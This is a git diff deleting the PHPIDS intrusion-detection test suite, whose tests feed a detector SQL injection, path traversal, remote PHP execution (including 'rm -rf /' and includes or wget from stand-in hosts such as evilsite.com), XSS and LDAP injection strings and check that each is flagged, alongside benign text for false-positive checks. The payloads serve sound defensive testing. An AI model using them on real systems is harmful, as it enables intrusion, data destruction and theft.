null+null+null+null+ ' UPDATE '+null+@a+null+ ' SET id=null,@b = @payload' - BEGIN EXEC sp_executesql @query - FETCH NEXT FROM tablecursor INTO @a,@b END - CLOSE tablecursor DEALLOCATE tablecursor; - and some text, to get pass the centrifuge; and some more text."; - $exploits[] = "@query = null+null+null+ ' UPDATE '+null+@a+ ' SET[ '+null+@b+ ' ] = @payload'"; - $exploits[] = "asd' union distinct(select null,password,null from users)--a "; - $exploits[] = "asd' union distinct ( select null,password,(null)from user )-- a "; - $exploits[] = 'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);'; - $exploits[] = "asaa';SELECT[asd]FROM[asd]"; - $exploits[] = "asd'; select [column] from users "; - $exploits[] = "0x31 union select @@version,username,password from users "; - $exploits[] = "1 order by if(1<2 ,uname,uid) "; - $exploits[] = "1 order by ifnull(null,userid) "; - $exploits[] = "2' between 1 and 3 or 0x61 like 'a"; - $exploits[] = "4' MOD 2 like '0"; - $exploits[] = "-1' /ID having 1< 1 and 1 like 1/'1 "; - $exploits[] = "2' / 0x62 or 0 like binary '0"; - $exploits[] = "0' between 2-1 and 4-1 or 1 sounds like binary '1 "; - $exploits[] = "-1' union ((select (select user),(select password),1/1 from mysql.user)) order by '1 "; - $exploits[] = "-1' or substring(null/null,1/null,1) or '1"; - $exploits[] = "1' and 1 = hex(null-1 or 1) or 1 /'null "; - $exploits[] = "AND CONNECTION_ID()=CONNECTION_ID()"; - $exploits[] = "AND ISNULL(1/0)"; - $exploits[] = "MID(@@hostname, 1, 1)"; - $exploits[] = "CHARSET(CURRENT_USER())"; - $exploits[] = "DATABASE() LIKE SCHEMA()"; - $exploits[] = "COERCIBILITY(USER())"; - $exploits[] = "1' and 0x1abc like 0x88 or '0"; - $exploits[] = "'-1-0 union select (select `table_name` from `information_schema`.tables limit 1) and '1"; - $exploits[] = "null''null' find_in_set(uname, 'lightos' ) and '1"; - $exploits[] = '(case-1 when mid(load_file(0x61616161),12, 1/ 1)like 0x61 then 1 else 0 end) '; - $exploits[] = urldecode('%27sounds%20like%281%29%20union%19%28select%191,group_concat%28table_name%29,3%19from%19information_schema.%60tables%60%29%23%28'); - $exploits[] = "0' '1' like (0) and 1 sounds like a or true#1"; - $exploits[] = " 0'rlike(0)and 1 rlike (@a)or true - ' 0 "; - $exploits[] = "2a'-1^ ' 0' and (select mid(user,1 /1,1/ 1)from`mysql`.user limit 1) rlike 'r"; - $exploits[] = 'password[$ne]=12'; - $exploits[] = " A' sounds like(select case(1=1)when'1'then'A'end) and '1"; - $exploits[] = "1' and 0x31='1 "; - $exploits[] = "1' and 0x05=(select 0- -mid(version()/- -1, 1,1) as 'a' from dual) and '1 "; - $exploits[] = "'AND 1.-1LIKE.1 EXEC xp_cmdshell 'dir "; - $exploits[] = "SELECT 1,2,0xEF`"; - $exploits[] = "SELECT 1,2,3`abc``"; - $exploits[] = "1'AND# - 0# - UNION# - SELECT@a:=table_name FROM# - information_schema.tables LIMIT 1#"; - $exploits[] = "1' and 0x43 = (select all mid(table_name, 1,1)as'a'from `information_schema`.tables limit 1) and '1 - 'AND 1.-1LIKE.1 INSERT INTO TMP_DB EXEC \"xp_cmdshell\"'dir"; - $exploits[] = '1\' AND 0x35 = (SELECT @phpids:=MID(@@version FROM 1 FOR 1) FROM dual) and \'1 '; - $exploits[] = "null' or @:=(select all user'' from mysql . user limit 1) union# - # - select @'"; - $exploits[] = '1\'and # - #aa - 0 union# - #bb - select version()`'; - $exploits[] = '1\'and # - #aa - 0 union# - #bb - select (select `user` from# - #cc - mysql.user limit 1)\''; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(876, $result->getImpact()); - } - - public function testDTList(){ - - $test1 = '../../etc/passwd'; - $test2 = '\%windir%\cmd.exe'; - $test3 = '1;cat /e*c/p*d'; - $test4 = '%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00'; - $test5 = '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'; - $test6 = '/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini'; - $test7 = 'C:\boot.ini'; - $test8 = '../../../../../../../../../../../../localstart.asp%00'; - $test9 = '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini'; - $test10 = '<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->'; - $test11 = '../../../../../../../../conf/server.xml'; - $test12 = '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'; - $test13 = 'dir/..././..././folder/file.php '; - - if (function_exists('get_magic_quotes_gpc') and @get_magic_quotes_gpc()){ - $test1 = addslashes($test1); - $test2 = addslashes($test2); - $test3 = addslashes($test3); - $test4 = addslashes($test4); - $test5 = addslashes($test5); - $test6 = addslashes($test6); - $test7 = addslashes($test7); - $test8 = addslashes($test8); - $test9 = addslashes($test9); - $test10 = addslashes($test10); - $test11 = addslashes($test11); - $test12 = addslashes($test12); - $test13 = addslashes($test13); - } - - $exploits = array(); - $exploits[] = $test1; - $exploits[] = $test2; - $exploits[] = $test3; - $exploits[] = $test4; - $exploits[] = $test5; - $exploits[] = $test6; - $exploits[] = $test7; - $exploits[] = $test8; - $exploits[] = $test9; - $exploits[] = $test10; - $exploits[] = $test11; - $exploits[] = $test12; - $exploits[] = $test13; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(126, $result->getImpact()); - } - - public function testURIList(){ - - $exploits = array(); - $exploits[] = 'firefoxurl:test|"%20-new-window%20file:\c:/test.txt'; - $exploits[] = 'firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"'; - $exploits[] = 'aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"'; - $exploits[] = 'navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)'; - $exploits[] = 'res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210'; - $exploits[] = 'mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat'; - $exploits[] = 'javascript:alert(1)'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(154, $result->getImpact()); - } - - public function testRFEList() { - - $exploits = array(); - $exploits[] = ';phpinfo()'; - $exploits[] = '@phpinfo()'; - $exploits[] = '"; <?php exec("rm -rf /"); ?>'; - $exploits[] = '; file_get_contents(\'/usr/local/apache2/conf/httpd.conf\');'; - $exploits[] = ';echo file_get_contents(implode(DIRECTORY_SEPARATOR, array("usr","local","apache2","conf","httpd.conf"))'; - $exploits[] = '; include "http://evilsite.com/evilcode"'; - $exploits[] = '; rm -rf /\0'; - $exploits[] = '"; $_a=(! \'a\') . "php"; $_a.=(! \'a\') . "info"; $_a(1); $b="'; - $exploits[] = '"; - define ( _a, "0008avwga000934mm40re8n5n3aahgqvaga0a303") ; - if ( !0) $c = USXWATKXACICMVYEIkw71cLTLnHZHXOTAYADOCXC ^ _a; - if ( !0) system($c) ;//'; - $exploits[] = '" ; // - if (!0) $_a ="". str_rot13(\'cevags\'); // - $_b = HTTP_USER_AGENT; // - $_c="". $_SERVER[$_b]; // - $_a( `$_c` );//'; - $exploits[] = '"; // - $_c = "" . $_a($b); - $_b(`$_c`);//'; - $exploits[] = '" ; // - if (!0) $_a = base64_decode ; - if (!0) $_b = parse_str ; // - $_c = "" . strrev("ftnirp"); - if (!0) $_d = QUERY_STRING; // - $_e= "" . $_SERVER[$_d]; - $_b($_e); // - $_f = "" . $_a($b); - $_c(`$_f`);//'; - $exploits[] = '" ; // - $_y = "" . strrev("ftnirp"); - if (!0) $_a = base64_decode ; - if (!0) $_b="" . $_a(\'cHdk\'); - if (!0) $_y(`$_b`);//'; - $exploits[] = '";{ if (true) $_a = "" . str_replace(\'!\',\'\',\'s!y!s!t!e!m!\'); - $_a( "dir"); } //'; - $exploits[] = '";{ if (true) $_a = "" . strtolower("pass"); - if (1) $_a.= "" . strtolower("thru"); - $_a( "dir"); } //'; - $exploits[] = '";{if (!($_b[]++%1)) $_a[] = system; - $_a[0]( "ls"); } //'; - $exploits[] = '";{if (pi) $_a[] = system; - $_a[0]( "ls"); } //'; - $exploits[] = '";; // - if (!($_b[] %1)) $_a[0] = system; - $_a[0](!a. "ls"); //'; - $exploits[] = '; e|$a=&$_GET; 0|$b=!a .$a[b];$a[a](`$b`);//'; - $exploits[] = 'aaaa { $ {`wget hxxp://example.com/x.php`}}'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(538, $result->getImpact()); - } - - public function testUTF7List() { - - $exploits = array(); - $exploits[] = '+alert(1)'; - $exploits[] = 'ACM=1,1+eval(1+name+(+ACM-1),ACM)'; - $exploits[] = '1+eval(1+name+(+1-1),-1)'; - $exploits[] = 'XSS without being noticed<a/href=data:text/html;charset=UTF-7,+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4->test'; - $exploits[] = '+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(99, $result->getImpact()); - } - - public function testBase64CCConverter() { - - $exploits = array(); - $exploits[] = 'PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4=='; - $exploits[] = '<a href=data:text/html;;base64a,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>Test</a>'; - $exploits[] = '<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>'; - $exploits[] = '<applet src="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4" type=text/html>'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(134, $result->getImpact()); - } - - public function testDecimalCCConverter() { - - $exploits = array(); - $exploits[] = '<script language="javascript">  // Creamos la clase  function popup ( ) {   // Atributo público inicializado a about:blank   this.url = 'about:blank';   // Atributo privado para el objeto window   var ventana = null;   // ...  }  ventana = new popup ();  ventana.url = 'http://www.programacionweb.net/';  </script>   '; - $exploits[] = base64_decode('NjAsMTE1LDk5LDExNCwxMDUsMTEyLDExNiw2Miw5NywxMDgsMTAwKzEsMTE0LDExNiw0MCw0OSw0MSw2MCw0NywxMTUsOTksMTE0LDEwNSwxMTIsMTE2LDYy'); - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(72, $result->getImpact()); - } - - public function testOctalCCConverter() { - - $test1 = '\47\150\151\47\51\74\57\163\143\162\151\160\164\76'; - $test2 = '\74\163\143\162\151\160\164\76\141\154\145\162\164\50\47\150\151\47\51\74\57\163\143\162\151\160\164\76'; - - if (function_exists('get_magic_quotes_gpc') and @get_magic_quotes_gpc()){ - $test1 = addslashes($test1); - $test2 = addslashes($test2); - } - - $exploits = array(); - $exploits[] = $test1; - $exploits[] = $test2; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(48, $result->getImpact()); - } - - public function testHexCCConverter() { - $test1 = 'javascript:alert(1)'; - $test2 = ';nguage="javascript"> 
// Creamos la clase 
function popup ( ) { 
 // Atributo público inicializado a about:blank 
 this.url = 'about:blank'; 
 // Atributo privado para el objeto window 
 var ventana = null; 
 // ... 
} 
ventana = new popup (); 
ventana.url = 'http://www.programacionweb.net/'; 
</script> 
 '; - $test3 = '\x0000003c\x0000073\x0000063\x0000072\x0000069\x0000070\x0000074\x000003e\x0000061\x000006c\x0000065\x0000072\x0000074\x0000028\x0000032\x0000029\x000003c\x000002f\x0000073\x0000063\x0000072\x0000069\x0000070\x0000074\x000003e'; - $test4 = 'x=eval,y=alert(1) - x(y)'; - $test5 = 'javascript:alert(/XSS PUNCH!/)'; - - if (function_exists('get_magic_quotes_gpc') and @get_magic_quotes_gpc()){ - $test1 = addslashes($test1); - $test2 = addslashes($test2); - $test3 = addslashes($test3); - $test4 = addslashes($test4); - $test5 = addslashes($test5); - } - - $exploits = array(); - $exploits[] = $test1; - $exploits[] = $test2; - $exploits[] = $test3; - $exploits[] = $test4; - $exploits[] = $test5; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(109, $result->getImpact()); - } - - public function testLDAPInjectionList() { - - $exploits = array(); - $exploits[] = "*(|(objectclass=*))"; - $exploits[] = "*)(uid=*))(|(uid=*"; - $exploits[] = "*))));"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(20, $result->getImpact()); - } - - public function testAllowedHTMLScanningPositive() { - - $exploits = array(); - $exploits['html_1'] = '<a/onmouseover=alert(document.cookie) href="http://www.google.de/">Google</a>'; - $exploits['html_2'] = '<table width="500"><tr><th>Test</th><iframe/onload=alert(1)> </tr><tr><td>test</td></tr></table>'; - $exploits['html_3'] = '<a style="background:url(//lo/)}lo:expression\(alert(1)));">lo</a>'; - $exploits['html_4'] = '<div style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)">hello!</div>'; - $exploits['html_5'] = '<img src="javascript:alert(1)">'; - $exploits['html_6'] = '<script>alert(1)</script><h1>headline</h1><p>copytext</p>'; - $exploits['html_7'] = '<img src src src src=x onerror=alert(1)>'; - $exploits['html_8'] = '<img src=1 onerror=alert(1) alt=1>'; - $exploits['html_9'] = '<b "<script>alert(1)</script>">hola</b>'; - $exploits['html_10'] = '<img src=phpids_logo.gif alt=Logo onreadystatechange=MsgBox-1 language=vbs>'; - $exploits['html_11'] = '<img src="." =">" onerror=alert(1);//'; - $exploits['html_12'] = '<img src="." =">" onerror=alert(222222222222222222222222222222222222222222222222222,1);//'; - $exploits['html_13'] = '<img src="." =">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa onerror = alert(1)/ /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; - $exploits['html_14'] = '<a style="background:url(http://hh*/)}lo:expression(this.lol?0:alert(this.lol=1))/*%31);">lo</a>'; - $exploits['html_15'] = '<a style="background:url(/hyyuj)}lo:expression(alert(/1/)//)/*lo);">lo</a>'; - $exploits['html_16'] = '<img src= # onerror = alert(1) <b>foo</b>'; - $exploits['html_17'] = '<a style="background:url(//lo/\\)}lo:expression\000028alert\000028/1/\000029\000029/*lo);">lo</a>'; - $exploits['html_18'] = '<?xml:namespace prefix=xss><?import namespace=xss implementation=http://ha.ckers.org/xss.htc><xss:*>lo</xss:*>'; - $exploits['html_19'] = '<a style="background:url(//mh.mh/\)!*mh:expression\(write\(1\));">lo</a> // you discovered'; - $exploits['html_20'] = '<a href="http://ha.ckers.org/xss.css" style="background:url(/**/javascript:document.documentElement.firstChild.lastChild.href=document.documentElement.firstChild.nextSibling.lastChild.previousSibling.previousSibling.lastChild.previousSibling.previousSibling.lastChild.lastChild.lastChild.lastChild.lastChild.href);">lo</a>'; - $exploits['html_21'] = "<img src=http://lo.lo/lo = '> ' onerror=alert(1)//"; - $exploits['html_22'] = '<div style="color:white;>;lo:expression\\\28\\\77rite\\\28 1\\\29\\\29;'; - $exploits['html_23'] = '<div style="background:url(\'http://lo.lo/lo\',!/lo:expression(write(1))/*\');">lo</div>'; - - $this->init->config['General']['HTML_Purifier_Cache'] = dirname(__FILE__) . '/../../lib/IDS/tmp/'; - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $test->setHtml(array_keys($exploits)); - $result = $test->run(); - - $this->assertFalse($result->hasEvent(1)); - $this->assertEquals(711, $result->getImpact()); - } - - public function testAllowedHTMLScanningNegative() { - $exploits = array(); - $exploits['html_1'] = '<a href="http://www.google.de/">Google</a>'; - $exploits['html_2'] = '<table width="500"><tr><th>Test</th></tr><tr><td>test</td></tr></table>'; - $exploits['html_3'] = '<table><tr><td class="TableRowAlt"> - <img src="templates/default/images/carat.gif" border="0" width="8" height="8" alt="" style="vertical-align:middle;" /><a href="http://sla.ckers.org/forum/read.php?13">FEEDBACK on my thesis on Session Management: SESSION FIXATION</a> - </td><td class="TableRowAlt" align="center">81 </td> - <td class="TableRowAlt" align="center" nowrap="nowrap">1 </td> - <td class="TableRowAlt" nowrap="nowrap"><a href="http://sla.ckers.org/forum/profile.php">euronymous</a></td> - <td class="TableRowAlt SmallFont" nowrap="nowrap"> - 06/01/2008 04:05AM <br /><span class="ListSubText"> - <a href="http://sla.ckers.org/forum/read.php?13,22665,22665#msg-22665">Last Post</a> by <a href="http://sla.ckers.org/forum/profile.php?13,1410">euronymous</a> </span> - </td> - </tr></table>'; - $exploits['html_4'] = '<img src="http://www.google.de/" />'; - $exploits['html_5'] = '<h1>headline</h1><p>copytext</p> - <p>bodytext © 2008</p> <h2>test - </h2>'; - $exploits['html_6'] = '<div> - <div> - <h1><a href="http://php-ids.org/">PHPIDS » Web Application Security 2.0</a></h1> - <div class="description"></div> - </div></div><hr />'; - $explouts['html_7']= '<h1><span style="color: #000000;">Header 1</span></h1><h2><span style="color: #000000;">Header 2</span></h2><ul><li><span style="color: #000000;">Some list item</span></li></ul>'; - - - $this->init->config['General']['HTML_Purifier_Cache'] = dirname(__FILE__) . '/../../lib/IDS/tmp/'; - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $test->setHtml(array_keys($exploits)); - $result = $test->run(); - $this->assertFalse($result->hasEvent(1)); - $this->assertEquals(0, $result->getImpact()); - } - - public function testJSONScanning() { - - $exploits = array(); - $exploits['json_1'] = '{"a":"b","c":["><script>alert(1);</script>", 111, "eval(name)"]}'; - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $test->setJson(array_keys($exploits)); - $result = $test->run(); - $this->assertEquals(32, $result->getImpact()); - } - - public function testForFalseAlerts() { - - $exploits = array(); - $exploits[] = 'war bereits als Gastgeber automatisch für das Turnier qualifiziert. Die restlichen 15 Endrundenplätze wurden zwischen Juni - 2005 und Mai 2007 ermittelt. Hierbei waren mit Ausnahme der UEFA-Zone die jeweiligen Kontinentalmeisterschaften gleichzeitig - das Qualifikationsturnier für die Weltmeisterschaft. Die UEFA stellt bei der Endrunde fünf Mannschaften. Die Teilnehmer wurden in - einer Qualifikationsphase ermittelt, die am 9. Juli 2005 startete und am 30. September 2006 endete. Hierbei wurden die 25 Mannschaften der Kategorie A in fünf - Gruppen zu je 5 Mannschaften eingeteilt, wobei sich die fünf Gruppensieger für die Endrunde qualifizierten. Das erste europäische Ticket löste Norwegen am 27. - August 2006. Am 24. September folgte Schweden, drei Tage später konnten sich auch der amtierende Weltmeister Deutschland und Dänemark für die Endrunde qualifizieren. - England sicherte sich am 30. September 2006 das letzte Ticket gegen Frankreich. Die Mannschaften der Kategorie B spielten lediglich um den Aufstieg in die A-Kategorie. - Dem südamerikanischen Fußballverband CONMEBOL standen zwei Startpätze zu. Sie wurden bei der Sudamericano Femenino 2006, welche vom 10. bis 26. November 2006 - im argentinischen Mar del Plata ausgetragen wurde, vergeben. Argentinien gewann das Turnier überraschend vor Brasilien. Beide Mannschaften qualifizierten sich - für die Endrunde. Die zwei nordamerikanischen Teilnehmer wurden beim CONCACAF Women\'s Gold Cup 2006 in den Vereinigten Staaten ermittelt. Das Turnier fand in - der Zeit vom 19. bis zum 30. November 2006 in Carson und Miami statt. Sieger wurde das US-amerikanische Team vor Kanada. Die drittplatzierten Mexikanerinnen - spielten gegen den Asien-Vierten Japan um einen weiteren Startplatz, scheiterten aber in den Play-Off-Spielen. Die Afrikameisterschaft der Frauen wurde vom 28. - Oktober bis zum 11. November 2006 in Nigeria ausgetragen. Die Mannschaft der Gastgeber setzte sich im Finale gegen Ghana durch. Beide Mannschaften werden den - afrikanischen Fußballverband bei der WM vertreten. Die Asienmeisterschaft der Frauen fand im Juli 2006 in Australien statt. Neben den Chinesinnen, die sich mit - einem Sieg über den Gastgeber den Titel sicherten, qualifizierten sich zudem die Australierinnen sowie die drittplatzierten Nordkoreanerinnen für die Endrunde. - Japan setzte sich wie 2003 in den Play-Off-Spielen gegen Mexiko (2:0 und 1:2) durch. Ozeanien hat einen direkten Startplatz, - der bei der Ozeanischen Frauenfußballmeisterschaft im April 2007 vergeben wurde. Neuseeland bezwang Papua-Neuguinea mit 7:0 und sicherte sich damit - das Ticket für die Weltmeisterschaft.'; - $exploits[] = 'Thatcher föddes som Margaret Hilda Roberts i staden Grantham i Lincolnshire, England. Hennes far var Alfred Roberts, som ägde en speceriaffär i - staden, var aktiv i lokalpolitiken (och hade ämbetet alderman), samt var metodistisk lekmannapredikant. Roberts kom frÃ¥n en liberal familj men kandiderade?som dÃ¥ var - praxis i lokalpolitik?som oberoende. Han förlorade sin post som Alderman 1952 efter att Labourpartiet fick sin första majoritet i Grantham Council 1950. Hennes mor var - Beatrice Roberts, född Stephenson, och hon hade en syster, Muriel (1921-2004). Thatcher uppfostrades som metodist och har förblivit kristen under hela sitt liv.[1] - Thatcher fick bra resultat i skolan. Hon gick i en grammar school för flickor (Kesteven) och kom sedan till Somerville College, Oxfords universitet 1944 för att studera - Xylonite och sedan J. Lyons and Co., där hon medverkade till att ta fram metoder för att bevara glass. Hon ingick i den grupp som utvecklade den första frysta mjukglassen. - Hon var ocksÃ¥ medlem av Association of Scientific Workers. Politisk karriär mellan 1950 och 1970 [redigera] Vid valen 1950 och 1951 ställde Margaret Roberts upp i v - alkretsen Dartford, som var en säker valkrets för Labour. Hon var dÃ¥ den yngsta kvinnliga konservativa kandidaten nÃ¥gonsin. Medan hon var aktiv i det konservativa pa - ficerad som barrister 1953. Samma Ã¥r föddes hennes tvillingbarn Carol och Mark. Som advokat specialiserade hon sig pÃ¥ skatterätt. Thatcher började sedan leta efter en - för Finchley i april 1958. Hon invaldes med god marginal i valet 1959 och tog säte i underhuset. Hennes jungfrutal var till stöd för hennes eget förslag om att tvinga - kommunala församlingar att hÃ¥lla möten offentligt, vilket blev antaget. 1961 gick hon emot partilinjen genom att rösta för Ã¥terinförande av bestraffning med ris. Hon - befordrades tidigt till regeringen som underordnad minister (Parliamentary Secretary) i ministeriet för pensioner och socialförsäktingar (Ministry of Pensions and - National Insurance) i september 1961. Hon behöll denna post tills de konservativa förlorade makten i valet 1964. När Sir Alec Douglas-Home avgick röstade Thatcher för - Edward Heath i valet av partiledare 1965. När Heath hade segrat belönades hon med att bli de konservativas talesman i bostads- och markfrÃ¥gor. Hon antog den politik - som hade utvecklats av hennes kollega James Allason, att sälja kommunägda bostäder till deras hyresgäster. Detta blev populärt i senare val[2]. Hon flyttade till - skuggfinansgruppen efter 1966..'; - $exploits[] = "Results are 'true' or 'false'."; - $exploits[] = "Choose between \"red\" and \"green\". "; - $exploits[] = "SQL Injection contest is coming in around '1 OR '2 weeks."; - $exploits[] = "select *something* from the menu"; - $exploits[] = '<![CDATA[:??]]>'; - $exploits[] = 'website_link => /app/search?op=search;keywords=peter%20testcase;'; - $exploits[] = '<xjxobj><e><k>insert</k><v>insert</v></e><e><k>errorh</k><v>error</v></e><e><k>hostname</k><v>ab</v></e><e><k>ip</k><v>10.2.2.22</v></e><e><k>asset</k><v>2</v></e><e><k>thresholdc</k><v>30</v></e><e><k>thresholda</k><v>30</v></e><e><k>rrd_profile</k><v></v></e><e><k>nat</k><v></v></e><e><k>nsens</k><v>1</v></e><e><k>os</k><v>Unknown</v></e><e><k>mac</k><v></v></e><e><k>macvendor</k><v></v></e><e><k>descr</k><v><![CDATA[&]]></v></e></xjxobj>'; - $exploits[] = '"hi" said the mouse to the cat and \'showed off\' her options'; - $exploits[] = 'eZtwEI9v7nI1mV4Baw502qOhmGZ6WJ0ULN1ufGmwN5j+k3L6MaI0Hv4+RlOo42rC0KfrwUUm5zXOfy9Gka63m02fdsSp52nhK0Jsniw2UgeedUvn0SXfNQc/z13/6mVkcv7uVN63o5J8xzK4inQ1raknqYEwBHvBI8WGyJ0WKBMZQ26Nakm963jRb18Rzv6hz1nlf9cAOH49EMiD4vzd1g=='; - $exploits[] = '"European Business School (ebs)"'; - $exploits[] = '"Deutsche Journalistenschule (DJS)"'; - $exploits[] = '"Cambridge First Certificate FCE (2000)"'; - $exploits[] = 'Universität Karlsruhe (TH)'; - $exploits[] = 'Psychologie, Coaching und Training, Wissenserlangung von Führungskräften, Menschen bewegen, Direktansprache, Erfolg, Spaß, Positiv Thinking and Feeling, Natur, Kontakte pflegen, Face to Face Contact, Sport/Fitness (Fussball, Beachvolleyball, Schwimmen, Laufen, Krafttraining, Bewegungsübungen uvm.), Wellness & Beauty'; - $exploits[] = 'Großelternzeit - (Sachbearbeiter Lightfline)'; - $exploits[] = '{HMAC-SHA1}{48de2031}{8AgxrQ==}'; - $exploits[] = 'exchange of experience in (project) management and leadership • always interested in starting up business and teams • people with a passion • new and lost international contacts'; - $exploits[] = 'Highly mobile (Project locations: Europe & Asia), You are a team player'; - $exploits[] = "'Reservist, Status: Stabsoffizier'"; - $exploits[] = ')))) да второй ÑоÑтав в отличной форме, не оÑтавили парнÑм ни единого шанÑа!!! Я думаю Ð½Ð°Ñ jedi, можно в первый переводить ))) '; - $exploits[] = 'd3d3LmRlbW90eXdhdG9yeS5wbA=='; - $exploits[] = '"Einkäuferin Zutaten + Stoffe"'; - $exploits[] = '"mooie verhalen in de talen: engels"'; - $exploits[] = '[CS]v1|267135E1851D3753-6000013720017F11[CE] /catalog/rss-new.php'; - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - - $this->assertFalse($result->hasEvent(1)); - $this->assertEquals(0, $result->getImpact()); - } - - /** - * This method checks for the plain event of every single - * exploit array item - * - * @access private - * @param array $exploits - */ - private function _testForPlainEvent($exploits = array()) { - - foreach($exploits as $key => $value) { - - $test = new IDS_Monitor( - array('test' => $value), - $this->init - ); - - if(preg_match('/^html_/', $key)) { - $this->init->config['General']['HTML_Purifier_Cache'] = dirname(__FILE__) . '/../../lib/IDS/tmp/'; - $test->setHtml(array('test')); - } - $result = $test->run(); - - if($result->getImpact() === 0) { - echo "\n\nNot detected: ".$value."\n\n"; - } - $this->assertTrue($result->getImpact() > 0); - } - } - - public function assertImpact(IDS_Report $result, $impact, $suhosinImpact) - { - if (extension_loaded('suhosin')) { - $this->assertEquals($suhosinImpact, $result->getImpact()); - } else { - $this->assertEquals($impact, $result->getImpact()); - } - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/ReportTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/ReportTest.php deleted file mode 100755 index 05df277033e58389222f0a8ae0d74afbba053832..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/ReportTest.php +++ /dev/null @@ -1,123 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY 